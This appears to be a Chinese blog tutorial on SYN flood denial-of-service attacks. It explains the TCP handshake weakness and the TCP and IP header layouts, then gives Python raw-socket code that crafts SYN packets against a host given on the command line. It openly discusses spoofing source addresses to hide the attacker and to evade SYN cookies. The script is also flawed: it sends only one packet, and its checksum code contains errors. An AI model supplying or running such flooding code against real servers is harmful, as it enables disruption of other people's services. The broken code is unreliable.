设计原理 SYN-Flood是目前最流行的DDoS攻击手段,DDoS只是洪水攻击的一个种类。其实还有其它种类的洪水攻击。 以前的DoS手段在向分布式这一阶段发展的过程中也经历了逐步淘汰的过程。SYN-Flood的攻击效果最好,故众黑客不约而同选择它。以下了解一下SYN-Flood的详细情况。 Syn Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是Syn Flood存在的基础。假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是很严重的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常小),此时从正常客户的角度看来,服务器失去响应,这种情况称做:服务器端受到了SYN Flood攻击(SYN洪水攻击)。
TCP报文格式 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0---------------8---------------16----------------24---------------31 (bit)
|-------------------------------------------------------------------|
| Source Port | Destination Port |
|-------------------------------------------------------------------|
| Sequence Number |
|-------------------------------------------------------------------|
| Acknowledgment Number |
|-------------------------------------------------------------------|
|Offset | Reserved ||U|A|P|R|S|F| Window |
|-------------------------------------------------------------------|
| Checksum | Urgent Pointer |
|-------------------------------------------------------------------|
| [Options] | Padding |
|-------------------------------------------------------------------|
| Data |
|-------------------------------------------------------------------|
源端口(Source Port):16比特,标识主机上发起的应用程序。 目的端口(Destination Port):16比特,标识主机上传送要达到的应用程序。 序列码(Sequence Number):32比特,用来标识从TCP源端向TCP目标端发送的数据字节流,它表示在这个报文段中的第一个数据字节。 确认码(Acknowledgment Numbwe):32比特,它包含目标端所期望收到源端的下一个数据字节。 数据偏移(Data Offset):4比特,指出数据开始部分距离TCP头部的长度,以4字节为单位,在没有可选信息的情况下,值为5(0101),也就是标准TCP头部长度20字节。 保留(Reserved):6比特,保留位,都为0。 控制标记(Control Flag):6比特,这也是TCP报文中很重要的一部分,他们组合起来实现了对TCP连接的控制。
URG(Urgent data):紧急指针(urgent pointer)有效。如果URG为1,表示这是一个携有紧急资料的封包。
ACK(Acknowledgment field significant):确认序号有效。如果ACK为1,表示此封包属于一个要回应的封包。一般都会为1。
PSH(Push function):接收方应该尽快将这个报文段交给应用层。如果PSH为1,此封包所携带的数据会直接上传给上层应用程序而无需经过TCP处理。
RST(Reset):重建连接。如果RST为1,要求重传。表示要求重新设定封包再重新传递。
SYN(Synchronize sequence number):发起一个连接。如果SYN为1,表示要求双方进行同步沟通。
FIN(Finish-No more data for sender):释放一个连接。如果FIN为1,表示传送结束,然後双方发出结束回应进而正式终止一个TCP传送过程。 窗口(Window):16比特,接收窗口大小。 校验位(Checksum):16比特,对整个TCP报文段,即TCP头部和TCP数据进行校验和计算,并由目标端进行验证。 紧急指针(Urgent Pointer):16比特,它是一个偏移量。 可选项(Options):可选段。 通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作
IP报文格式 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0---------------8---------------16----------------24---------------31 (bit)
|-------------------------------------------------------------------|
|Version|HeaderL|Type of Service| Total Lengh |
|-------------------------------------------------------------------|
| Identification | Flag | Fragment Offset |
|-------------------------------------------------------------------|
| Time to Live | Protocol | Header Checksum |
|-------------------------------------------------------------------|
| Source IP Address |
|-------------------------------------------------------------------|
| Destination IP Address |
|---------------------------------------- --------------------------|
| [Options] |
|-------------------------------------------------------------------|
| Data |
|-------------------------------------------------------------------|
版本号(Version):4比特,表示目前采用的IP协议版本号,IPv4(0100)、IPv6(0110),在这个SYN Flood实例中,我们使用IPv4(0100)。
IP报文头部长度(Header Length):4比特,单位为32bit(4字节),因为IP头后有可选部分,因此对于标准的IP报头,头部长度为20字节,该字段值因为5(0101)。且头部最长为15*4=60字节(1111)。
服务类型(Type of Service):8比特。
IP报文总长度(Total Length):16比特,以字节为单位计算的IP包的长度(包括头部和数据),IP报文最大长度为65535字节。
标识符(Identification):16比特,与Flag和Fragment Offset结合使用,对上层数据包进行分段操作。
标记(Flag):3比特,标记此报文是否还有后续报文(数据分段)。
分段序号(Fragment Offset):13比特,该字段对包含分段的上层数据包的IP包赋予序号。
生存时间(Time to Live):8比特,IP包进行传送时,先会对该字段赋予某个特定的值。当IP包经过每一个沿途的路由器的时候,每个沿途的路由器会将IP包的TTL值减少1。如果TTL减少为0,则该IP包会被丢弃。这个字段可以防止由于故障而导致IP包在网络中不停被转发。
协议(Protocol):8比特,标识上层所使用的协议。
头部校验(Header Checksum):16比特,由于IP包头是变长的,所以提供一个头部校验来保证IP包头中信息的正确性。
源IP地址(Source IP Address):16比特,标识该报文的源IP地址。
目的IP地址(Destination IP Address):16比特,标识该报文的目的IP地址。
可选项(Options):这是一个可变长的字段,长度为0或32bit的整倍数,最大320bit,如果不足则填充到满。
数据(Data):该IP报文所携带的数据信息。
设计步骤 TCP建立连接有3次握手,而SYN Flood利用就是这个握手的过程,针对一个开放的服务端口,发送大量的SYN连接请求,致使目标堆积大量的半连接而导致资源耗尽最终达到Dos的效果。 然后通过1
sockfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
建立一个原始套接口,由于我们的IP源地址是伪造的,所以得在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和。 IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def checksum (source_string) :
rsum = 0
countTo = (len(source_string)) / 2
count = 0
while count < countTo:
thisVal = ord(source_string[count + 1 ])*256 + ord(source_string[count])
rsum = rsum + thisVal
rsum = rsum & 0xffffffff
count += 2
if countTo < len(source_string):
rsum = rsum + ord(source_string[len(source_string) - 1 ])
rsum = rsum & 0xfffffff
rsum = (rsum >> 16 ) + (rsum & 0xffff )
rsum = rsum + (rsum >> 16 )
answer = ~rsum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00 )
return answer
源码 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
import socket
import struct
def checksum (source_string) :
rsum = 0
countTo = (len(source_string)) / 2
count = 0
while count < countTo:
thisVal = ord(source_string[count + 1 ])*256 + ord(source_string[count])
rsum = rsum + thisVal
rsum = rsum & 0xffffffff
count += 2
if countTo < len(source_string):
rsum = rsum + ord(source_string[len(source_string) - 1 ])
rsum = rsum & 0xfffffff
rsum = (rsum >> 16 ) + (rsum & 0xffff )
rsum = rsum + (rsum >> 16 )
answer = ~rsum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00 )
return answer
sockfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
src_port = 114
dst_port = 80
seq_number = 1000
ack_number = 0
data_offset = 5
reversed_flag = 0
urg_flag = 0
ack_flag = 0
psh_flag = 0
rst_flag = 0
syn_flag = 1
fin_flag = 0
tcp_flags = fin_flag + (syn_flag << 1 ) + (rst_flag << 2 ) + (psh_flag << 3 ) + (ack_flag << 4 ) + (urg_flag << 5 )
window_size = 65535
header_checksum = 0
urg_pointer = 0
tcp_header = struct.pack('!HHIIBBHHH' , src_port, dst_port, seq_number, ack_number, data_offset << 4 , tcp_flags, window_size, header_checksum, urg_pointer)
header_checksum = checksum(tcp_header)
tcp_header = struct.pack('!HHIIBBHHH' , src_port, dst_port, seq_number, ack_number, data_offset << 4 , tcp_flags, window_size, header_checksum, urg_pointer)
dst_ip = socket.gethostbyname(sys.argv[1 ])
sockfd.sendto(tcp_header, (dst_ip, 0 ))
结语 本文从说明SYN洪泛攻击的主要原理开始,对TCP和IP报文头部进行了简要的介绍,因为SYN主要是基于TCP的三次握手,而构造IP报文头部可以实现多伪IP地址欺骗。在第二部分内容中主要是讲到如何利用Python的raw socket对TCP报文头的构造,其中的重点内容是校验和函数的编写,与为了保证TCP校验的有效性,增加一个TCP尾部的校验和。但不足的地方在于没有对IP地址进行混淆,没有实现IP报文头的构造,但是根据Python API和IP报文头的结构不难构造出IP报文头。
参考资料 1.剖析SYN Flooding攻击 作者:百度文库 2.Python SYN Flood实践 作者:rickgray 3.Syn flood program in python using raw sockets (Linux) 4.SYN Flooding with Scapy and Python